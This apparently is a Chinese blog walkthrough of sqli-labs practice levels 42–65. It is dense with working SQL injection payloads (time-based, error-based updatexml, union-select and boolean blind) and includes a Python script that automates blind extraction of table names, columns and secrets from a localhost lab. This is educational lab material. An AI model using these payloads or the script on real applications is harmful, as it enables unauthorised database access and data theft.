sql-labs:42~65
less42(单引号闭合、报错回显)
login_user=admin login_password=123' and if(1=1,sleep(2),1) # # 单引号闭合 login_user=admin login_password=123'and updatexml(1,concat(0x7e,database(),0x7e),1)# # 报错回显用户名有过滤, tips: 这里还是强调一下,时间注入测试注入点,sql语句必须有查询结果才能sleep,而且and连接的条件必须都成立才能sleep,两者缺一不可 所以输入的用户名和密码必须都正确,也就是有一个用户凭据才能有sql语句查询结果,才能sleep
less43(单引号括号闭合、报错回显)
跟less42一样 login_password=1') and updatexml(1,concat(0x7e,user(),0x7e),1)--+
less44(单引号闭合、半回显)
login_user=admin login_password=123456' and if(1=1,sleep(2),1) # 布尔注入: login_user=admin login_password=123456' and substr(DATABASE(),1,1)='s' # 如果回显结果有slap1.jpg说明爆出来了一个字符
less45(单引号括号闭合、半回显)
跟less44一样 布尔注入语法: login_user=admin login_password=123456') and substr(database(),1,1)='s' and ('1')=('1 这里可以使用状态码进行半回显判断,也可以不使用slap1.jpg回显判断 如果爆出来一个字符,则返回302,如果不是则返回200
less46(order by注入手法、报错回显)
sql语法规定:order by后不能接 union select Incorrect usage of UNION and ORDER BY 使用时间或报错 sort=1 and if(1=1,sleep(0.05),1) --+ 不知道为什么这里的sleep时间突然变得好长,之前sleep相同的数值,很快就sleep完了 sort=1 and if(substr(database(),1,1)='s',sleep(0.05),1) --+ sort=1 and updatexml(1,concat(0x7e,database(),0x7e),1) --+ # 报错回显
less47
(46~53都是这个order by、无非就是闭合方式不一样和有报错回显的问题,有报错回显报错注入,没有就布尔盲注时间盲注,换汤不换药)
(这里没有测试布尔盲注,直接用的时间盲注)
(但是布尔盲注优先级是比时间盲注要高的,作者只测试了时间盲注是为了减小工作量,因为基本上有了sql注入,时间盲注可行性最大)
(布尔盲注搞不定了,再时间盲注)
sort=1' and if(1=1,sleep(0.05),1) and '1'='1 # 单引号闭合 发现单引号闭合: sort=1' and updatexml(1,concat(0x7e,database(),0x7e),1) --+ # 报错回显
less48
sort=1 and if(1=1,sleep(0.05),1) # 无闭合 sort=1 and updatexml(1,concat(0x7e,database(),0x7e),1) --+ # 无报错回显 sort=1 and if(substr(database(),1,1)='s',sleep(0.05),1) --+ # 时间盲注
less49
sort=1' and if(1=1,sleep(0.05),1) and '1'='1 # 单引号闭合 sort=1' and updatexml(1,concat(0x7e,database(),0x7e),1) --+ # 无报错回显 sort=1' and if(substr(database(),1,1)='s',sleep(0.05),1) --+ # 时间盲注
less50
sort=1 and if(1=1,sleep(0.05),1) # 无闭合 sort=1 and updatexml(1,concat(0x7e,database(),0x7e),1) --+ # 报错回显
less51
sort=1' and if(1=1,sleep(0.05),1) and '1'='1 # 单引号闭合 sort=1' and updatexml(1,concat(0x7e,database(),0x7e),1) --+ # 报错回显
less52
sort=1 and if(1=1,sleep(0.05),1) # 无闭合 sort=1 and updatexml(1,concat(0x7e,database(),0x7e),1) --+ # 无报错回显 sort=1 and if(substr(database(),1,1)='s',sleep(1),1) --+ # 时间盲注
less53
sort=1' and if(1=1,sleep(0.05),1) and '1'='1 # 单引号闭合 sort=1' and updatexml(1,concat(0x7e,database(),0x7e),1) # 无报错回显 sort=1' and if(substr(database(),1,1)='s',sleep(1),1) # 时间盲注
less54(54到65都是这个挑战)
id=1' and if(1=1,sleep(1),1) and '1'='1 # 单引号闭合 id=0' union select 1,database(),3 --+ # 全回显 id=0' union select 1,str_foo,3 --+ # str_foo是占位符,使用的时候替换掉 # 查表 str_foo = (select GROUP_CONCAT(table_name) from information_schema.tables where table_schema='challenges') # 查字段 str_foo = (select GROUP_CONCAT(column_name) FROM information_schema.columns where table_name='gg0e5rd6g0') # 查数据 str_foo = (select CONCAT(id,',',sessid,',',secret_BPRX,',',tryy) from gg0e5rd6g0) tips: 当你用时间注入测试sql注入点时,比如你发现用''闭合的注入语句: id=1' and if(1=1,sleep(1),1) and '1'='1 测试成功了,先不要急,因为它还有可能是 ('')闭合 ((''))闭合 ((('')))闭合 ... 可以加无数个括号,双引号""和括号()闭合也有这个问题
less55
id=1 and if(1=1,sleep(1),1) 此情况也可能是(),如下例子 SELECT * FROM security.users WHERE id=(1 and if(1=1,sleep(1),1) ) LIMIT 0,1 SELECT * FROM security.users WHERE id=1 and if(1=1,sleep(1),1)LIMIT 0,1 id=1" and if(1=1,sleep(1),1) and "1"="1 此情况也有可能是(""),如下例子 SELECT * FROM security.users WHERE id="1" and if(1=1,sleep(1),1) and "1"="1" LIMIT 0,1 SELECT * FROM security.users WHERE id=("1" and if(1=1,sleep(1),1) and "1"="1 ") LIMIT 0,1 id=1' and if(1=1,sleep(1),1) and '1'='1 此情况也有可能是(''),如下例子 SELECT * FROM security.users WHERE id='1' and if(1=1,sleep(1),1) and '1'='1' LIMIT 0,1 SELECT * FROM security.users WHERE id=('1' and if(1=1,sleep(1),1) and '1'='1 ') LIMIT 0,1 和less54一样 id=1) and if(1=1,sleep(1),1) and (1)=(1 # 括号闭合 id=0) union select 1,str_foo,3 --+ # str_foo是占位符,使用的时候替换掉 # 查表 str_foo = (select GROUP_CONCAT(table_name) from information_schema.tables where table_schema='challenges') # 查字段 str_foo = (select GROUP_CONCAT(column_name) FROM information_schema.columns where table_name='查到的表') # 查数据 str_foo = (select CONCAT(id,',',sessid,',',查到的字段,',',tryy) from 查到的表)
less56
和less54、55一样 发现('')闭合,且有回显 id=0') union select 1,database(),3 --+ id=0') uNIon sELect 1,database(),3 --+
less57
id=1 and if(1=1,sleep(1),1) id=1" and if(1=1,sleep(1),1) and "1"="1 id=1' and if(1=1,sleep(1),1) and '1'='1 id=1') and if(1=1,sleep(1),1) and ('1')=('1 id=1) and if(1=1,sleep(1),1) and (1)=(1 id=1") and if(1=1,sleep(1),1) and ("1")=("1 和less54、55、56一样 发现""闭合,且有回显 id=0" union select 1,database(),3 --+
less58(less58~less61都是报错注入,就是闭合方式的不同)
id=1 and if(1=1,sleep(1),1) id=1" and if(1=1,sleep(1),1) and "1"="1 id=1' and if(1=1,sleep(1),1) and '1'='1 id=1') and if(1=1,sleep(1),1) and ('1')=('1 id=1) and if(1=1,sleep(1),1) and (1)=(1 id=1") and if(1=1,sleep(1),1) and ("1")=("1 发现''闭合,但回显是误导项,回显的账号密码不是数据库里的,而是php code里的,所以有回显等于无回显 id=1' and updatexml(1,concat(0x7e,database(),0x7e),1) --+ # 报错回显 id=1' and updatexml(1,concat(0x7e,str_foo,0x7e),1) --+ # str_foo是占位符,使用的时候替换掉 # 查表 str_foo = (select GROUP_CONCAT(table_name) from information_schema.tables where table_schema='challenges') # 查字段 str_foo = (select GROUP_CONCAT(column_name) FROM information_schema.columns where table_name='查到的表') # 查数据 str_foo = (select CONCAT(id,',',sessid,',',查到的字段,',',tryy) from 查到的表)
less59
id=1 and if(1=1,sleep(1),1) id=1" and if(1=1,sleep(1),1) and "1"="1 id=1' and if(1=1,sleep(1),1) and '1'='1 id=1') and if(1=1,sleep(1),1) and ('1')=('1 id=1) and if(1=1,sleep(1),1) and (1)=(1 id=1") and if(1=1,sleep(1),1) and ("1")=("1 发现无闭合 id=1 and if(1=1,sleep(1),1) --+ id=1 and updatexml(1,concat(0x7e,database(),0x7e),1) --+ # 报错回显 id=1 and updatexml(1,concat(0x7e,str_foo,0x7e),1) --+ # str_foo是占位符,使用的时候替换掉 # 查表 str_foo = (select GROUP_CONCAT(table_name) from information_schema.tables where table_schema='challenges') # 查字段 str_foo = (select GROUP_CONCAT(column_name) FROM information_schema.columns where table_name='查到的表') # 查数据 str_foo = (select CONCAT(id,',',sessid,',',查到的字段,',',tryy) from 查到的表)
less60
跟58、59一样 id=1 and if(1=1,sleep(1),1) id=1" and if(1=1,sleep(1),1) and "1"="1 id=1' and if(1=1,sleep(1),1) and '1'='1 id=1') and if(1=1,sleep(1),1) and ('1')=('1 id=1) and if(1=1,sleep(1),1) and (1)=(1 id=1") and if(1=1,sleep(1),1) and ("1")=("1 发现("")闭合 id=1") and updatexml(1,concat(0x7e,database(),0x7e),1) --+ # 报错回显
less61
跟58、59、60一样 id=1 and if(1=1,sleep(1),1) id=1" and if(1=1,sleep(1),1) and "1"="1 id=1' and if(1=1,sleep(1),1) and '1'='1 id=1') and if(1=1,sleep(0.1),1) and ('1')=('1 id=1) and if(1=1,sleep(1),1) and (1)=(1 id=1") and if(1=1,sleep(1),1) and ("1")=("1 发现((''))闭合 id=1')) and updatexml(1,concat(0x7e,database(),0x7e),1) --+ # 报错回显
less62(less62~less65都是时间注入或布尔注入)
id=1 and if(1=1,sleep(1),1) id=1" and if(1=1,sleep(1),1) and "1"="1 id=1' and if(1=1,sleep(1),1) and '1'='1 id=1') and if(1=1,sleep(0.1),1) and ('1')=('1 id=1) and if(1=1,sleep(1),1) and (1)=(1 id=1") and if(1=1,sleep(1),1) and ("1")=("1 发现('')闭合,且无回显 id=1') and updatexml(1,concat(0x7e,database(),0x7e),1) --+ 布尔注入: id=1') and 1=1 --+ id=1') and 1=2 --+ 发现正确的数据包显示,如下字符串 Your Login name : Angelina Your Password : dhakkan 而错误的数据包不显示,那我们提取Password作为标志字符串,用于布尔盲注的判断 id=1') and substr(database(),int_foo,1)='char_foo' and ('1')=('1 id=1') and if(substr(database(),1,1)='c',sleep(1),1) --+
# 直接用我们之前写的脚本:https://github.com/iamnotamaster/sql-injecterdict_para_data = {'id' : 'hack123'}vuln_para = 'id'http_type = 1url = "http://127.0.0.1/sqli-labs/Less-62/"expected_data = "Password"payload_foo1 = "1') and int_foo>str_foo and ('1')=('1"payload_foo2 = "1') and char_foo>ascii(substr(str_foo,int_foo,1)) and ('1')=('1"str_foo1 = "length(database())"str_foo2 = "database()"# 爆库名# db_len = bool_based.binary_search_by_bool(dict_para_data, vuln_para, http_type, url, expected_data, payload_foo1, str_foo1, 40)# db_result = bool_based.binary_search_by_bool(dict_para_data, vuln_para, http_type, url, expected_data, payload_foo2, str_foo2, db_len)# 爆表名str_foo1 = "(SELECT CHAR_LENGTH(group_concat(table_name)) AS result_length FROM information_schema.tables WHERE table_schema='challenges')"str_foo2 = "(SELECT group_concat(table_name) AS result_length FROM information_schema.tables WHERE table_schema='challenges')"tb_len = bool_based.binary_search_by_bool(dict_para_data, vuln_para, http_type, url, expected_data, payload_foo1, str_foo1, 40)tb_result = bool_based.binary_search_by_bool(dict_para_data, vuln_para, http_type, url, expected_data, payload_foo2, str_foo2, tb_len+1)# 爆字段str_foo1 = "(select CHAR_LENGTH(COLUMN_NAME) from information_schema.columns where table_name = '"+ tb_result + "' and table_schema = 'challenges' AND column_name LIKE 'secret\_%')"str_foo2 = "(select COLUMN_NAME from information_schema.columns where table_name = '"+ tb_result + "' and table_schema = 'challenges' AND column_name LIKE 'secret\_%')"colu_len = bool_based.binary_search_by_bool(dict_para_data, vuln_para, http_type, url, expected_data, payload_foo1, str_foo1, 40)colu_result = bool_based.binary_search_by_bool(dict_para_data, vuln_para, http_type, url, expected_data, payload_foo2, str_foo2, colu_len+1)
# 因为字段secret_后面的的字符串是随机的(如secret_TGFJ),我们自动化取出来赋值给code变量index = colu_result.find('secret_')code = colu_result[index + len('secret_'):index + len('secret_')+4]
str_foo1 = "(select CHAR_LENGTH(secret_" + code + ") from "+ tb_result +")"str_foo2 = "(select secret_" + code + " from "+ tb_result +")"colu_len = bool_based.binary_search_by_bool(dict_para_data, vuln_para, http_type, url, expected_data, payload_foo1, str_foo1, 40)colu_result = bool_based.binary_search_by_bool(dict_para_data, vuln_para, http_type, url, expected_data, payload_foo2, str_foo2, colu_len+1)
less63
跟62一样 发现''闭合,且无回显 只修改62脚本中的url和payload就可以
less64
跟63、62一样 发现(())闭合,且无回显 只修改62脚本中的url和payload就可以
less65
跟63、62一样 发现("")闭合,且无回显 只修改62脚本中的url和payload就可以
相关文章:

sql-labs:42~65
less42(单引号闭合、报错回显) login_useradmin login_password123 and if(11,sleep(2),1) # # 单引号闭合 login_useradmin login_password123and updatexml(1,concat(0x7e,database(),0x7e),1)# # 报错回显…...

KaTeX.js渲染数学公式
什么是KaTeX.js ? KaTeX 是一个集成速度快且功能丰富的数学公式渲染库,专为 Web 设计。它由 Khan Academy 开发,提供接近印刷品质的数学公式展示,同时保持与浏览器的高效互动性。KaTeX 特点包括快速渲染速度、高质量的输出、独立运行、跨平…...

算法训练营打卡Day19
目录 1.二叉搜索树的最近公共祖先 2.二叉树中的插入操作 3.删除二叉搜索树中的节点 题目1、二叉搜索树的最近公共祖先 力扣题目链接(opens new window) 给定一个二叉搜索树, 找到该树中两个指定节点的最近公共祖先。 百度百科中最近公共祖先的定义为:“对于有…...
H.264编解码工具 - FFmpeg
一、简介 FFmpeg是一款用于处理多媒体数据的开源软件,可以完成音频、视频和多媒体流的编解码、转码、解码、录制、流媒体播放等功能。它提供了丰富的命令行工具和库函数,适用于各种平台和操作系统。 FFmpeg支持多种常见的音视频格式,包括MP3、WAV、FLAC、MP4、AVI、MKV等。它…...

60 序列到序列学习(seq2seq)_by《李沐:动手学深度学习v2》pytorch版
系列文章目录 文章目录 系列文章目录一、理论知识比喻机器翻译Seq2seq编码器-解码器细节训练衡量生成序列的好坏的BLEU(值越大越好)总结 二、代码编码器解码器损失函数训练预测预测序列的评估小结练习 一、理论知识 比喻 seq2seq就像RNN的转录工作一样,非常形象的比…...
elementPlus的tree组件点击后有白色背景
在使用elementPlus的tree组件时,需要对它进行样式的重写,下面是相关代码 <script setup> import { ref } from vue const data [{label: Level one 1,children: [{label: Level two 1-1,children: [{label: Level three 1-1-1}]}]},{label: Leve…...
【Git】Git在Unity中使用时的问题记录
个人向笔记。 (为什么没截图,因为公司电脑没法截图!) 1 前言 主要记录在使用Git协同开发时的各种问题,方便以后查阅。 2 记录 2.1 合并冲突 git pull下来后直接给合并了,麻了。若不想直接合并应该先把分…...
python学习记录6
(1)循环嵌套 可以将一个循环语句所属的语句块也可以是一个完整的一个循环语句,一般嵌套不应该超过3层。 嵌套可以是while-while、for-for,也可以是while-for。 基本图形输出:正方形,直角三角形 #输入一个数字n&…...
MongoDB 的基本使用
目录 数据库的创建和删除 创建数据库 查看数据库 删除数据库 集合的创建和删除 显示创建 查看 删除集合 隐式创建 文档的插入和查询 单个文档的插入 insertOne insertMany 查询 嵌入式文档 查询数组 查询数组元素 为数组元素指定多个条件 通过对数组元素使…...
数据揭秘:分类与预测技术在商业洞察中的应用与实践
分类与预测:数据挖掘中的关键任务 在数据挖掘的广阔天地中,分类与预测就像是一对互补的探险家,它们携手深入数据的丛 林,揭示隐藏的宝藏。 一、分类:数据的归类大师 分类是一种将数据点按照特定的属性或特征划分到不…...

学MybatisPlus
1.设置MySql的数据库 spring:datasource:url: jdbc:mysql://127.0.0.1:3306/mp?useUnicodetrue&characterEncodingUTF-8&autoReconnecttrue&serverTimezoneAsia/Shanghaidriver-class-name: com.mysql.cj.jdbc.Driverusername: rootpassword: MySQL123 logging:l…...

如何使用工具删除 iPhone 上的图片背景
在 iPhone 上删除背景图像变得简单易行。感谢最近 iOS 更新中引入的新功能。如今,iOS 用户现在可以毫不费力地删除背景,而无需复杂的应用程序。在这篇文章中,您将学习如何使用各种方法去除 iPhone 上的背景。这可确保您可以选择最适合您偏好的…...

软件工程-数据流图
数据流图(Data Flow Diagram,DFD)是一种图形化技术,它描绘信息流和数据从输入移动到输出的过程中所经受的变换。 数据流图的设计原则 数据守恒原则,对于任何一个加工来说,其所有输出数据流中的数据必须能从该加工的输入数据流中…...

链式前向星(最通俗易懂的讲解)
链式前向新:用于存储图的 边集 数组 前言 当我们存储图的时候,往往会使用 邻接矩阵 或是 邻接表。 邻接矩阵 好写,但太浪费空间,节点一多就存不下; 邻接表 效率高,但涉及指 ,不好写容易出错…...
【C++设计模式】(四)创建型模式:简单工厂模式,工厂方法模式,抽象工厂模式
文章目录 (四)创建型模式:简单工厂模式,工厂方法模式,抽象工厂模式简单工厂模式工厂方法模式抽象工厂模式 (四)创建型模式:简单工厂模式,工厂方法模式,抽象工…...

浅析Golang的Context
文章目录 1. 简介2. 常见用法2.1 控制goroutine的生命周期(cancel)2.2 传递超时(Timeout)信息2.3 传递截止时间(Deadline)2.4 传递请求范围内的全局数据 (value) 3 特点3.1 上下文的…...
生日礼物C++代码
#include<bits/stdc.h> using namespace std; string s; int a,b; int main(){cout<<" 生日之地"<<\n;cout<<" 1.开始游戏"<<" 2.不想开始"<<\n;cin>>a;if(a1||a2){if(a2)cout<<…...

使用python基于DeepLabv3实现对图片进行语义分割
DeepLabv3 介绍 DeepLabv3 是一种先进的语义分割模型,由 Google Research 团队提出。它在 DeepLab 系列模型的基础上进行了改进,旨在提高图像中像素级分类的准确性。以下是 DeepLabv3 的详细介绍: 概述DeepLabv3 是 DeepLab 系列中的第三代…...

【漏洞复现】泛微OA E-Office do_excel.php 任意文件写入漏洞
》》》产品描述《《《 泛微0-0fice是一款标准化的协同 OA办公软件,泛微协同办公产品系列成员之一,实行通用化产品设计,充分贴合企业管理需求,本着简洁易用、高效智能的原则,为企业快速打造移动化、无纸化、数字化的办公平台。 》》…...
算法(食物链)
240. 食物链 题目 动物王国中有三类动物 A,B,C𝐴,𝐵,𝐶,这三类动物的食物链构成了有趣的环形。 A𝐴 吃 B𝐵,B𝐵 吃 C𝐶,C𝐶 吃 A𝐴。…...

接口测试中缓存处理策略
在接口测试中,缓存处理策略是一个关键环节,直接影响测试结果的准确性和可靠性。合理的缓存处理策略能够确保测试环境的一致性,避免因缓存数据导致的测试偏差。以下是接口测试中常见的缓存处理策略及其详细说明: 一、缓存处理的核…...

Linux应用开发之网络套接字编程(实例篇)
服务端与客户端单连接 服务端代码 #include <sys/socket.h> #include <sys/types.h> #include <netinet/in.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <arpa/inet.h> #include <pthread.h> …...

css实现圆环展示百分比,根据值动态展示所占比例
代码如下 <view class""><view class"circle-chart"><view v-if"!!num" class"pie-item" :style"{background: conic-gradient(var(--one-color) 0%,#E9E6F1 ${num}%),}"></view><view v-else …...

AI Agent与Agentic AI:原理、应用、挑战与未来展望
文章目录 一、引言二、AI Agent与Agentic AI的兴起2.1 技术契机与生态成熟2.2 Agent的定义与特征2.3 Agent的发展历程 三、AI Agent的核心技术栈解密3.1 感知模块代码示例:使用Python和OpenCV进行图像识别 3.2 认知与决策模块代码示例:使用OpenAI GPT-3进…...
Oracle查询表空间大小
1 查询数据库中所有的表空间以及表空间所占空间的大小 SELECTtablespace_name,sum( bytes ) / 1024 / 1024 FROMdba_data_files GROUP BYtablespace_name; 2 Oracle查询表空间大小及每个表所占空间的大小 SELECTtablespace_name,file_id,file_name,round( bytes / ( 1024 …...
【磁盘】每天掌握一个Linux命令 - iostat
目录 【磁盘】每天掌握一个Linux命令 - iostat工具概述安装方式核心功能基础用法进阶操作实战案例面试题场景生产场景 注意事项 【磁盘】每天掌握一个Linux命令 - iostat 工具概述 iostat(I/O Statistics)是Linux系统下用于监视系统输入输出设备和CPU使…...

Python实现prophet 理论及参数优化
文章目录 Prophet理论及模型参数介绍Python代码完整实现prophet 添加外部数据进行模型优化 之前初步学习prophet的时候,写过一篇简单实现,后期随着对该模型的深入研究,本次记录涉及到prophet 的公式以及参数调优,从公式可以更直观…...

令牌桶 滑动窗口->限流 分布式信号量->限并发的原理 lua脚本分析介绍
文章目录 前言限流限制并发的实际理解限流令牌桶代码实现结果分析令牌桶lua的模拟实现原理总结: 滑动窗口代码实现结果分析lua脚本原理解析 限并发分布式信号量代码实现结果分析lua脚本实现原理 双注解去实现限流 并发结果分析: 实际业务去理解体会统一注…...

安全突围:重塑内生安全体系:齐向东在2025年BCS大会的演讲
文章目录 前言第一部分:体系力量是突围之钥第一重困境是体系思想落地不畅。第二重困境是大小体系融合瓶颈。第三重困境是“小体系”运营梗阻。 第二部分:体系矛盾是突围之障一是数据孤岛的障碍。二是投入不足的障碍。三是新旧兼容难的障碍。 第三部分&am…...
Web中间件--tomcat学习
Web中间件–tomcat Java虚拟机详解 什么是JAVA虚拟机 Java虚拟机是一个抽象的计算机,它可以执行Java字节码。Java虚拟机是Java平台的一部分,Java平台由Java语言、Java API和Java虚拟机组成。Java虚拟机的主要作用是将Java字节码转换为机器代码&#x…...